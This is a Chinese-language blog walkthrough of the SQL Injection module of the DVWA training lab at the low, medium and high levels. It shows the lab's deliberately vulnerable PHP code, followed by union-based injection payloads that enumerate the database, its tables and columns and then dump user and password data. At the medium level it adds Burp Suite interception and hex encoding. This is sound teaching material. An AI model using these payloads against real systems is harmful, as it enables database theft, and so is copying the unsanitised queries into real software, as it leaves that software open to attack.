• DWVA-关于SQL注入的漏洞详解<SQL Injection>


    本文为漏洞靶场DWVA第七个模块SQL Injection详细解答

    low等级

    代码如下:

     

     1  <?php
     2 
     3 if( isset( $_REQUEST[ 'Submit' ] ) ) {
     4     // Get input
     5     $id = $_REQUEST[ 'id' ];
     6 
     7     // Check database
     8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
     9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    10 
    11     // Get results
    12     while( $row = mysqli_fetch_assoc( $result ) ) {
    13         // Get values
    14         $first = $row["first_name"];
    15         $last  = $row["last_name"];
    16 
    17         // Feedback for end user
    18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    19     }
    20 
    21     mysqli_close($GLOBALS["___mysqli_ston"]);
    22 }
    23 
    24 ?>

    如上图,代码并没有对输入进行过滤,存在sql注入漏洞

    下面开始攻击:

    1.判断是否存在注入

    输入   1                         ---返回正确

    输入   1’                        ---返回错误

    输入   1 and 1=1         ---返回正确

    输入   1 and 1=2         ---返回正确

    输入   1‘ and ’1‘=’1      ---返回正确

    输入   1‘ and ’1‘=’1      ---返回正确

    输入   1‘ and ’1‘=’2      ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)

    输入   1‘ or ’1‘=’1         ---返回正确(返回很多结果,证明存在字符型注入)

    2.猜解查询SQL语句中的字段数

    输入   1‘ or 1=1 order by 1#     ---返回正确

    输入   1‘ or 1=1 order by 2#      ---返回正确

    输入   1‘ or 1=1 order by 3#      ---返回错误(返回结果---Unknown column '3' in 'order clause'       证明字段数为2)

    3.确定字段顺序

    输入   1' or 1=1 union select 1,2#    ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID='id')

    4.确定数据库

    输入   1' or 1=1 union select database(),2#    ---确定数据库为  dwva

    5.猜解表名

    输入  1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' #        ---确定表名为 guestbook 和 users

    6.猜解列名

    输入  1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #      ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

    7.猜解数据名

    输入  1' or 1=1 union select 1,concat(user,'-',password) from users #       ---爆出所有数据

     

    medium

    代码如下:

     1 <?php
     2 
     3 if( isset( $_POST[ 'Submit' ] ) ) {
     4     // Get input
     5     $id = $_POST[ 'id' ];
     6 
     7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
     8 
     9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    11 
    12     // Get results
    13     while( $row = mysqli_fetch_assoc( $result ) ) {
    14         // Display values
    15         $first = $row["first_name"];
    16         $last  = $row["last_name"];
    17 
    18         // Feedback for end user
    19         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    20     }
    21 
    22 }
    23 
    24 // This is used later on in the index.php page
    25 // Setting it here so we can close the database connection in here like in the rest of the source scripts
    26 $query  = "SELECT COUNT(*) FROM users;";
    27 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    28 $number_of_rows = mysqli_fetch_row( $result )[0];
    29 
    30 mysqli_close($GLOBALS["___mysqli_ston"]);
    31 ?> 

     中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

    我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

    下面开始攻击:

    1.判断注入类型

    选择1,提交,抓包后更改为 (此操作后续简写为抓包)

    1‘ and 1=1                  ---返回错误

    1 and 1=1                  ---返回正常(说明注入类型为数字型注入)

    2.判断字段数

    抓包

    1 order by 1#            ---返回正常

    1 order by 2#            ---返回正常

    1 order by 3#            ---返回错误(字段数为2)

    3.判断字段顺序

    抓包

    1 union select 1,2#         ---返回正常

    4.猜解数据库

    抓包

    1 union select 1,database()#    ---成功爆出数据库 dvwa

    5.猜解表名

    抓包

    1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

    1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

    1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

    也可以这样

    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

    6.猜解列名

    抓包

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

    7.猜解数据名

    抓包

    1 union select concat(user),concat(password) from users#      ---爆出所有数据名

    high

    代码如下:

     1 <?php
     2 
     3 if( isset( $_SESSION [ 'id' ] ) ) {
     4     // Get input
     5     $id = $_SESSION[ 'id' ];
     6 
     7     // Check database
     8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
     9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
    10 
    11     // Get results
    12     while( $row = mysqli_fetch_assoc( $result ) ) {
    13         // Get values
    14         $first = $row["first_name"];
    15         $last  = $row["last_name"];
    16 
    17         // Feedback for end user
    18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    19     }
    20 
    21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    22 }
    23 
    24 ?> 

    high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

    此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

    1.判断注入类型

    1' or '1'='1      ---字符注入

    2.判断字段数

    1' or 1=1 order by 2#      ---返回正确

    1' or 1=1 order by 3#      ---返回错误

    3.判断字段顺序

    1‘ or 1=1 union select 1.2#    ---返回正常

    4.猜解数据库

    1‘ or 1=1 union select 1,database()#    ---爆出数据库名

    5.猜解表名

    1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

    6.猜解列名

    1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

    7.爆出数据

    1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据

  • 相关阅读:
    剑指 Offer 22. 链表中倒数第k个节点(简单)
    剑指 Offer 18. 删除链表的节点(简单)
    Proxy error: Could not proxy request
    剑指 Offer 63. 股票的最大利润(中等)
    剑指 Offer 47. 礼物的最大价值(中等)
    剑指 Offer 42. 连续子数组的最大和(简单)
    oracle 常用函数之 字符函数
    oracle 常用函数之 日期函数
    oracle 常用函数之聚合函数
    jdbc
  • 原文地址:https://www.cnblogs.com/Hpineapple/p/12050980.html
Copyright © 2020-2023  润新知